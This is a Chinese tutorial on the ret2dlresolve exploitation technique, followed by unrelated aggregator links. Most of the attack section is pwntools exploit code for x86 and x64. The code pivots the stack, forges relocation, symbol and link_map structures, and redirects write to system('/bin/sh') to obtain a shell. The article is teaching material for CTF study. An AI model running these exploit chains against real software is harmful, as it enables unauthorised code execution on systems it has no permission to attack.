当前位置: 首页 > news >正文

告别信息泄露:手把手教你用ret2dlresolve在x86/x64下无libc地址getshell

突破无泄漏困境:ret2dlresolve攻击在x86/x64架构下的实战精解

1. 理解ret2dlresolve的核心机制

在Linux系统的动态链接机制中,_dl_runtime_resolve函数扮演着关键角色。当程序首次调用动态链接库中的函数时,这个过程会触发延迟绑定机制:

  1. PLT跳转流程

    • 调用函数时首先跳转到PLT表
    • 首次调用时GOT表指向PLT中的下一条指令
    • 压入reloc_arg(函数在.rel.plt中的偏移)
    • 跳转到PLT[0]执行_dl_runtime_resolve
  2. 关键数据结构

    typedef struct { Elf32_Addr r_offset; // GOT表地址 Elf32_Word r_info; // 符号表索引和类型 } Elf32_Rel; typedef struct { Elf32_Word st_name; // 字符串表索引 Elf32_Addr st_value; // 符号值 Elf32_Word st_size; // 符号大小 unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;

攻击的核心在于伪造这些数据结构,欺骗动态链接器解析我们指定的函数。

2. x86架构下的分步利用

2.1 栈迁移与基础调用

首先需要将栈迁移到可控区域(如.bss段),为后续伪造数据结构创造条件:

from pwn import * context(arch='i386', os='linux') elf = ELF('./victim') offset = 112 bss_addr = 0x0804a040 base_stage = bss_addr + 0x800 # 栈迁移payload payload = flat( 'A'*offset, p32(elf.plt['read']), p32(0x08048619), # pop3;ret p32(0), p32(base_stage), p32(0x100), p32(0x0804861b), # pop ebp;ret p32(base_stage), p32(0x08048458) # leave;ret )

2.2 伪造.rel.plt条目

控制reloc_arg使重定位项指向可控区域:

rel_plt = 0x08048330 # .rel.plt地址 fake_write_addr = base_stage + 28 fake_arg = fake_write_addr - rel_plt # 伪造Elf32_Rel结构 fake_rel = flat( p32(elf.got['write']), # r_offset p32(0x607) # r_info (write的原始值) ) payload2 = flat( 'AAAA', p32(0x08048380), # plt[0] fake_arg, 'aaaa', p32(1), p32(base_stage+80), p32(8), fake_rel, 'A'*44, '/bin/sh\x00' )

2.3 伪造.dynsym条目

通过控制r_info指向伪造的符号表项:

dynsym = 0x080481D8 # .dynsym地址 align = 0x10 - ((base_stage + 36 - dynsym) % 16) fake_sym_addr = base_stage + 36 + align # 计算伪造的r_info r_info = (((fake_sym_addr - dynsym)//16) << 8) | 0x7 # 伪造Elf32_Sym结构 fake_sym = flat( p32(0x4c), # st_name (write的原始偏移) p32(0), p32(0), p32(0x12) )

2.4 最终利用:将write替换为system

修改字符串表内容完成攻击:

strtab = 0x08048278 fake_name = (base_stage + 36 + align + 0x10) - strtab # 修改为system fake_sym = flat( p32(fake_name), p32(0), p32(0), p32(0x12) ) fake_write_str = 'system\x00' payload2 = flat( 'AAAA', p32(0x08048380), fake_arg, p32(0x08048619), # pop3;ret p32(base_stage+80), # /bin/sh地址 p32(0), p32(0), fake_rel, 'A'*align, fake_sym, fake_write_str, '/bin/sh\x00' )

3. x64架构的特殊处理

64位架构下需要特别注意以下差异:

  1. 调用约定:参数通过寄存器传递而非栈
  2. 数据结构变化
    typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela; #define ELF64_R_SYM(i) ((i) >> 32)

3.1 绕过st_other检查

64位下需要确保sym->st_other不为0:

def fake_linkmap_payload(fake_linkmap_addr, known_func_ptr, offset): linkmap = p64(offset & (2**64-1)) # l_addr linkmap += p64(0) linkmap += p64(fake_linkmap_addr + 0x18) # DT_JMPREL linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2**64-1)) linkmap += p64(0x7) # r_info linkmap += p64(0) # r_addend linkmap += p64(0) # l_ns linkmap += p64(0) linkmap += p64(known_func_ptr - 0x8) # DT_SYMTAB linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68, b'A') linkmap += p64(fake_linkmap_addr) # DT_STRTAB linkmap += p64(fake_linkmap_addr + 0x38) # DT_SYMTAB linkmap = linkmap.ljust(0xf8, b'A') linkmap += p64(fake_linkmap_addr + 0x8) # DT_JMPREL return linkmap

3.2 完整利用链示例

context(arch='amd64', os='linux') elf = ELF('./victim64') libc = elf.libc bss_stage = 0x601050 + 0x100 l_addr = libc.sym['system'] - libc.sym['write'] fake_link_map = fake_linkmap_payload(bss_stage, elf.got['write'], l_addr) payload = flat( 'a'*120, pop_rdi, 0, pop_rsi_r15, bss_stage, 0, elf.plt['read'], pop_rsi_r15, 0, 0, pop_rdi, bss_stage + 0x48, elf.plt['_dl_runtime_resolve'], bss_stage, 0 )

4. 不同保护机制的应对策略

保护级别影响程度利用方式
NO RELRO最低直接修改.dynamic中的strtab指针
PARTIAL RELRO中等需要完整伪造link_map结构
FULL RELRO无法利用GOT表完全只读

注意:在FULL RELRO保护下,ret2dlresolve技术无法使用,因为GOT表中的关键地址在程序启动时已被解析并设为只读。

5. 实战中的常见问题与解决方案

  1. 对齐问题

    • x86下.dynsym条目需要16字节对齐
    • 使用填充字节确保地址正确:
      align = 0x10 - ((fake_sym_addr - dynsym) % 16)
  2. 参数传递差异

    • x86通过栈传递参数
    • x64通过寄存器传递参数,需要相应调整ROP链
  3. 版本兼容性

    • glibc 2.35+引入了更多检查
    • 可尝试修改st_other字段绕过新保护

通过深入理解动态链接机制和精心构造攻击载荷,即使在缺乏信息泄漏的情况下,ret2dlresolve仍能提供强大的利用能力。掌握这项技术不仅有助于CTF竞赛,更能加深对系统底层机制的理解。

http://www.jsqmd.com/news/952160/

相关文章:

  • n-carousel轮播图(多端如何设置不同图片高度)
  • 2026 年深圳龙华 100 平三房轻奢风全屋定制 免费设计上门测量工厂怎么选不踩坑 - 产品测评官
  • 深圳办公 ai 培训机构有哪些:最新排名独家权威报告 - 19120507004
  • 终极JSON对比神器:3分钟快速找出数据差异的完整指南
  • 浙江大学让机器人“用眼睛思考“:比文字快22倍的视觉推理新方案
  • Android NDK开发:如何给C++日志库加个“本地存档”?(基于__android_log_print的文件写入实战)
  • 从‘相亲匹配’到‘项目派单’:图解匈牙利算法的核心思想与避坑指南
  • 跨境电商防关联浏览器科普|独立环境为什么能防封号
  • 中小批量贴片机怎么选?看完这5条省下20万
  • 2026年当下湖州实验室装修工程公司怎么联系?专业选择指南与可靠服务商推荐 - 2026年企业资讯
  • 落地干货|智能货架 + AGV 协同方案:制造业线边仓精益化物料管控解决方案
  • 生命、宇宙以及一切的终极答案是42!
  • 【linux】免密登录
  • 别再手动复制了!Typora、VS Code、Obsidian里快速输入Emoji的3种高效方法
  • 告别默认菊花转!手把手教你用Qt/C++打造高颜值自定义Loading弹窗(附完整源码)
  • 别再手动写代码了!用Simulink的Powergui内置FFT工具,5分钟搞定PWM电路谐波分析
  • 运筹学对偶理论:从“生产 vs 出租”的生意经,看懂强对偶与互补松弛
  • 深圳 ai 智能开发公司哪家值得信赖:官方精选权威测评攻略 - 13724980961
  • 【Springboot毕设全套源码+文档】基于springboot的网上课程资源远程教育资源共享平台的设计与实现(丰富项目+远程调试+讲解+定制)
  • GitHub 浏览器版 VSCode 现漏洞,研究人员短通知披露引发安全伦理争议
  • 从CT机到你的屏幕:一次DICOM医学影像的完整‘旅程’与格式揭秘
  • 子图对齐问题的信息论界限与ER模型分析
  • Skill即服务:用Agent安全玩转云上Flink
  • 2026 年深圳宝安小户型全屋定制 带榻榻米和衣帽间如何实现高性价比 - 产品测评官
  • 深圳 ai 智能开发公司哪家收费透明:TOP5 专业榜单深度 - 17329971652
  • 特斯拉摄像头被黑、OVH机房大火:给开发者的云服务与数据安全避坑指南
  • STM32F103温湿度光照监测与自动调控硬件开发包:含可烧录代码、Proteus仿真、AD原理图及双层PCB源文件
  • 2025年03月 GESP等级认证C++编程(一级)试题解析
  • 深圳办公 ai 培训机构哪家便宜:深度榜单独家推荐攻略 - 13425704091
  • 从Codex更新看AI Agent未来:通用智能体正在崛起